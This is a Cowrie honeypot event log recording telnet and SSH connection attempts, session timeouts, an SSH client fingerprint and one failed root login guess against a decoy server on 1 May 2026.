{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39666,"dst_ip":"159.203.135.109","dst_port":23,"session":"acffd979b232","protocol":"telnet","message":"New connection: 147.135.136.77:39666 (159.203.135.109:23) [session: acffd979b232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:19.554981Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42684,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f4a5c5c1738","protocol":"telnet","message":"New connection: 168.119.91.149:42684 (159.203.135.109:23) [session: 3f4a5c5c1738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:19.944139Z"}
{"eventid":"cowrie.session.closed","duration":30.50085473060608,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:20.038099Z","src_ip":"147.135.136.77","session":"3a3a0f8c5b9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21203374862671,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:20.044276Z","src_ip":"147.135.136.77","session":"1977dd1fb7d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872791051864624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:20.129770Z","src_ip":"147.135.136.77","session":"7162e269100b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39674,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c653ce52b4d","protocol":"telnet","message":"New connection: 147.135.136.77:39674 (159.203.135.109:23) [session: 2c653ce52b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:20.210510Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39688,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2bb715ba750","protocol":"telnet","message":"New connection: 147.135.136.77:39688 (159.203.135.109:23) [session: a2bb715ba750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:20.219906Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39712,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb36a5fab36a","protocol":"telnet","message":"New connection: 147.135.136.77:39712 (159.203.135.109:23) [session: eb36a5fab36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:20.366924Z"}
{"eventid":"cowrie.session.closed","duration":31.238762855529785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:20.459210Z","src_ip":"147.135.136.77","session":"008434b11ac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.715075492858887,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:20.511980Z","src_ip":"168.119.91.149","session":"a10dd6c4680b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39726,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccf2f165e9c3","protocol":"telnet","message":"New connection: 147.135.136.77:39726 (159.203.135.109:23) [session: ccf2f165e9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:20.876456Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39730,"dst_ip":"159.203.135.109","dst_port":23,"session":"698badc798a0","protocol":"telnet","message":"New connection: 147.135.136.77:39730 (159.203.135.109:23) [session: 698badc798a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:21.009054Z"}
{"eventid":"cowrie.session.closed","duration":30.46123695373535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:21.042603Z","src_ip":"147.135.136.77","session":"da83d29203e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08638072013855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:21.059405Z","src_ip":"147.135.136.77","session":"510ecd2dea1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39738,"dst_ip":"159.203.135.109","dst_port":23,"session":"b528c607aa20","protocol":"telnet","message":"New connection: 147.135.136.77:39738 (159.203.135.109:23) [session: b528c607aa20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:21.066743Z"}
{"eventid":"cowrie.session.closed","duration":30.265899181365967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:21.109946Z","src_ip":"147.135.136.77","session":"f1122b5c3e57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39750,"dst_ip":"159.203.135.109","dst_port":23,"session":"b30dc7245007","protocol":"telnet","message":"New connection: 147.135.136.77:39750 (159.203.135.109:23) [session: b30dc7245007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:21.168557Z"}
{"eventid":"cowrie.session.closed","duration":31.03319525718689,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:21.177176Z","src_ip":"147.135.136.77","session":"ecf721465c6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39756,"dst_ip":"159.203.135.109","dst_port":23,"session":"8984da7342f3","protocol":"telnet","message":"New connection: 147.135.136.77:39756 (159.203.135.109:23) [session: 8984da7342f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:21.212091Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39704,"dst_ip":"159.203.135.109","dst_port":23,"session":"c754c2d2343c","protocol":"telnet","message":"New connection: 147.135.136.77:39704 (159.203.135.109:23) [session: c754c2d2343c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:21.317592Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39770,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3a6dfbc04d8","protocol":"telnet","message":"New connection: 147.135.136.77:39770 (159.203.135.109:23) [session: e3a6dfbc04d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:21.406735Z"}
{"eventid":"cowrie.session.closed","duration":30.808157920837402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:21.534409Z","src_ip":"147.135.136.77","session":"47d2bda95460","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":55212,"dst_ip":"159.203.135.109","dst_port":23,"session":"07df0c34ae56","protocol":"telnet","message":"New connection: 85.208.100.77:55212 (159.203.135.109:23) [session: 07df0c34ae56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:21.738781Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39782,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc20871f3e3e","protocol":"telnet","message":"New connection: 147.135.136.77:39782 (159.203.135.109:23) [session: bc20871f3e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:21.743450Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39796,"dst_ip":"159.203.135.109","dst_port":23,"session":"38caf2d53103","protocol":"telnet","message":"New connection: 147.135.136.77:39796 (159.203.135.109:23) [session: 38caf2d53103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:22.404393Z"}
{"eventid":"cowrie.session.closed","duration":31.70430278778076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:22.928658Z","src_ip":"147.135.136.77","session":"b296da7de7a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39804,"dst_ip":"159.203.135.109","dst_port":23,"session":"148a1376b86e","protocol":"telnet","message":"New connection: 147.135.136.77:39804 (159.203.135.109:23) [session: 148a1376b86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:23.050267Z"}
{"eventid":"cowrie.session.closed","duration":31.24742841720581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:23.445982Z","src_ip":"147.135.136.77","session":"2230f57a503a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":44496,"dst_ip":"159.203.135.109","dst_port":23,"session":"410e9c5f8a03","protocol":"telnet","message":"New connection: 168.119.91.149:44496 (159.203.135.109:23) [session: 410e9c5f8a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:23.695144Z"}
{"eventid":"cowrie.session.closed","duration":31.625138998031616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:23.750224Z","src_ip":"147.135.136.77","session":"c7c8d64c6558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":52228,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e20d0ab9e53","protocol":"ssh","message":"New connection: 103.228.69.212:52228 (10.17.0.5:22) [session: 8e20d0ab9e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:23.918306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:23.926720Z","src_ip":"103.228.69.212","session":"8e20d0ab9e53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.466923475265503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:24.037323Z","src_ip":"147.135.136.77","session":"c046ee7c2806","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.158825397491455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:24.063869Z","src_ip":"147.135.136.77","session":"9dbed6465e90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892094373703003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:24.094059Z","src_ip":"147.135.136.77","session":"2d7c763d302e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:24.159086Z","src_ip":"103.228.69.212","session":"8e20d0ab9e53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.98675775527954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:24.167733Z","src_ip":"147.135.136.77","session":"a85a5869d0d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39830,"dst_ip":"159.203.135.109","dst_port":23,"session":"c85e94dcf64e","protocol":"telnet","message":"New connection: 147.135.136.77:39830 (159.203.135.109:23) [session: c85e94dcf64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:24.208700Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39820,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b1ab544b78d","protocol":"telnet","message":"New connection: 147.135.136.77:39820 (159.203.135.109:23) [session: 0b1ab544b78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:24.234210Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":54744,"dst_ip":"159.203.135.109","dst_port":23,"session":"51499717be04","protocol":"telnet","message":"New connection: 81.30.157.18:54744 (159.203.135.109:23) [session: 51499717be04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:24.291764Z"}
{"eventid":"cowrie.session.closed","duration":30.550001621246338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:24.330766Z","src_ip":"147.135.136.77","session":"d0ec6e0206ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.392523765563965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:25.068283Z","src_ip":"147.135.136.77","session":"8ba3a81107ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923595190048218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:25.073113Z","src_ip":"147.135.136.77","session":"c13a2b0c4657","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsX","message":"login attempt [root/1qaz@wsX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:25.111246Z","src_ip":"103.228.69.212","session":"8e20d0ab9e53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.58491587638855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:25.159434Z","src_ip":"147.135.136.77","session":"f73807f90ba9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865076303482056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:25.174500Z","src_ip":"147.135.136.77","session":"fde2070cd500","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91577959060669,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:25.191690Z","src_ip":"147.135.136.77","session":"c45d10cdea4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39844,"dst_ip":"159.203.135.109","dst_port":23,"session":"70ab97c00569","protocol":"telnet","message":"New connection: 147.135.136.77:39844 (159.203.135.109:23) [session: 70ab97c00569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:25.351384Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39866,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c61ec0fbf2e","protocol":"telnet","message":"New connection: 147.135.136.77:39866 (159.203.135.109:23) [session: 9c61ec0fbf2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:25.422674Z"}
{"eventid":"cowrie.session.closed","duration":31.548612356185913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:25.641864Z","src_ip":"147.135.136.77","session":"4a85594f159d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.491087675094604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:25.712044Z","src_ip":"51.79.21.139","session":"2dfe27b28940","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59708,"dst_ip":"159.203.135.109","dst_port":23,"session":"aeee71bc5297","protocol":"telnet","message":"New connection: 147.135.136.77:59708 (159.203.135.109:23) [session: aeee71bc5297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:25.832489Z"}
{"eventid":"cowrie.session.closed","duration":31.904288053512573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:25.918446Z","src_ip":"147.135.136.77","session":"0030f99b9eb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96363353729248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:26.020723Z","src_ip":"51.79.21.139","session":"fe92bd48f9b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36234,"dst_ip":"159.203.135.109","dst_port":23,"session":"237b0ef2c9b7","protocol":"telnet","message":"New connection: 51.79.21.139:36234 (159.203.135.109:23) [session: 237b0ef2c9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:26.047979Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39860,"dst_ip":"159.203.135.109","dst_port":23,"session":"60b573df2024","protocol":"telnet","message":"New connection: 147.135.136.77:39860 (159.203.135.109:23) [session: 60b573df2024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:26.062897Z"}
{"eventid":"cowrie.session.closed","duration":30.369292974472046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:26.070839Z","src_ip":"147.135.136.77","session":"be5b46f81e25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77712059020996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:26.087458Z","src_ip":"147.135.136.77","session":"d636ccf31c97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83826231956482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:26.254162Z","src_ip":"147.135.136.77","session":"c35075b17365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.785696506500244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:26.283148Z","src_ip":"147.135.136.77","session":"5f770d8f5c91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:26.343110Z","src_ip":"103.228.69.212","session":"8e20d0ab9e53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59720,"dst_ip":"159.203.135.109","dst_port":23,"session":"b20f2846c9b8","protocol":"telnet","message":"New connection: 147.135.136.77:59720 (159.203.135.109:23) [session: b20f2846c9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:26.716687Z"}
{"eventid":"cowrie.session.closed","duration":30.968212604522705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:27.016852Z","src_ip":"51.79.21.139","session":"91d436310a6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.691184759140015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:27.047339Z","src_ip":"147.135.136.77","session":"41298a0ed114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983640909194946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:27.078641Z","src_ip":"147.135.136.77","session":"14489b0048f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08719491958618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:27.105763Z","src_ip":"147.135.136.77","session":"2627e764cb95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75292468070984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:27.119033Z","src_ip":"147.135.136.77","session":"26f3314d8d6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59728,"dst_ip":"159.203.135.109","dst_port":23,"session":"137b1b5f312d","protocol":"telnet","message":"New connection: 147.135.136.77:59728 (159.203.135.109:23) [session: 137b1b5f312d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:27.275113Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59744,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2a24f34e1fb","protocol":"telnet","message":"New connection: 147.135.136.77:59744 (159.203.135.109:23) [session: f2a24f34e1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:27.301142Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59752,"dst_ip":"159.203.135.109","dst_port":23,"session":"b172b9d29744","protocol":"telnet","message":"New connection: 147.135.136.77:59752 (159.203.135.109:23) [session: b172b9d29744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:27.478720Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59756,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a370377fe08","protocol":"telnet","message":"New connection: 147.135.136.77:59756 (159.203.135.109:23) [session: 4a370377fe08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:27.731404Z"}
{"eventid":"cowrie.session.closed","duration":30.79788589477539,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:28.053907Z","src_ip":"37.187.24.227","session":"a81f925f5251","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.435641765594482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:28.058841Z","src_ip":"147.135.136.77","session":"9ff6e749e935","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18468713760376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:28.153475Z","src_ip":"147.135.136.77","session":"196c36f32a45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59772,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee92c75a73cb","protocol":"telnet","message":"New connection: 147.135.136.77:59772 (159.203.135.109:23) [session: ee92c75a73cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:28.232977Z"}
{"eventid":"cowrie.session.closed","duration":31.233224630355835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:28.967766Z","src_ip":"147.135.136.77","session":"13cd9f8c78e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.677870273590088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:29.083705Z","src_ip":"147.135.136.77","session":"77ce4fbed78d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.463265895843506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:29.161825Z","src_ip":"147.135.136.77","session":"56bd552792d6","protocol":"telnet"}
